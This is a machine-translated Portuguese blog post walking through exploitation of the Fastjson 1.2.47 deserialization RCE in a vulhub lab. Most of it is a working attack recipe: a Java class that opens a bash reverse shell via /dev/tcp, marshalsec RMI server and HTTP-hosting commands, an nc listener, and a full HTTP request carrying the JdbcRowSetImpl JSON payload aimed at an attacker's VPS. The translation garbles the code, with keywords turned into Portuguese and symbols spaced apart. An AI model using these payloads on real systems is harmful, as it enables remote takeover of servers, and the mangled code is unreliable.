Vulnerabilidade de execução de comando remoto Fastjson 1.2.47

O Fastjson 1.2.47 não com.sun.jndi.rmi.object.trustURLCodebasepossui limitações nesta versão , por isso causou esta vulnerabilidade.Para uma análise específica, consulte o artigo

https://www.freebuf.com/vuls/208339.html

 

Pré-requisitos (evite pisar em alguns poços)

Antes de reproduzir esta vulnerabilidade, é melhor reproduzir a desserialização do Fastjson 1.2.24, porque os dois métodos de reprodução de vulnerabilidades são muito semelhantes

1. Deve ser a versão java 1.8, caso contrário, alguns comandos não podem ser compilados e executados, versão java -version view

2. Todas as ferramentas e pacotes compilados devem estar no mesmo diretório

marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.java

Exploit.class

 

Construção do ambiente

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

Crie acesso completo ao ip: porta 8090

 

 

 

Referência de recorrência

https://www.cnblogs.com/websecyw/p/11905014.html

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.47-rce

 

1. Obter exp

git clone https://github.com/CaijiOrz/fastjson-1.2.47-RCE  

De fato, essa exp é um código que recupera o shell

 classe pública Exploit {
     public Exploit () {
         try { 
            Runtime.getRuntime (). exec ( " / bin / bash -c $ @ | bash 0 echo bash -i> & / dev / tcp / 127.0.0.1 / 8888 0> & 1 " ); 
        } catch (Exceção e) { 
            e.printStackTrace (); 
        } 
    } 
    public  static  void main (String [] argv) { 
        Exploit e = new Exploit (); 
    } 
}

2. vim  Exploit.java   modificado para vpsIP e port

3.javac  Exploit.java   compilado no arquivo de classe

 

 

 4. python -m SimpleHTTPServer 4444 Serviço http aberto

5. java -cp marshalsec-0.0.3-SNAPSHOT-all.j marshalsec.jndi.RMIRefServer "http: // vpsIP : 4444 / # Exploit" 9999

 

 

 6. Monitor nc -lvnp 7777

7. Envie o POC, ele se recuperará e fará o shell

 

Escrevo o pacote de dados inteiro e modifico diretamente o endereço e a porta da letra vermelha quando é usada.


Host POST / HTTP / 1.1 : 
User Agente do usuário ip : Mozilla / 5.0 (Windows NT 6.2 ; WOW64; rv: 18.0 ) Gecko / 20100101 Firefox / 18.0 
Aceitar: text / html, application / xhtml + xml, application / xml; q = 0,9 , * / * ; q = 0,8 
Idioma de aceitação: zh-cn, zh; q = 0,8, pt-br; q = 0,5, pt; q = 0,3 
Codificação de aceitação: gzip, deflate 
Conexão: fechar 
Tipo de conteúdo : application / json 
Comprimento do conteúdo: 264 

{ 
    "a": { 
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl" 
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "rmi: // vpsIP : 9999 / Exploit", 
        "autoCommit": true 
    } 
}

8. Shell de recuperação bem-sucedido

Acho que você gosta

Origin www.cnblogs.com/null1433/p/12697682.html
Recomendado
Clasificación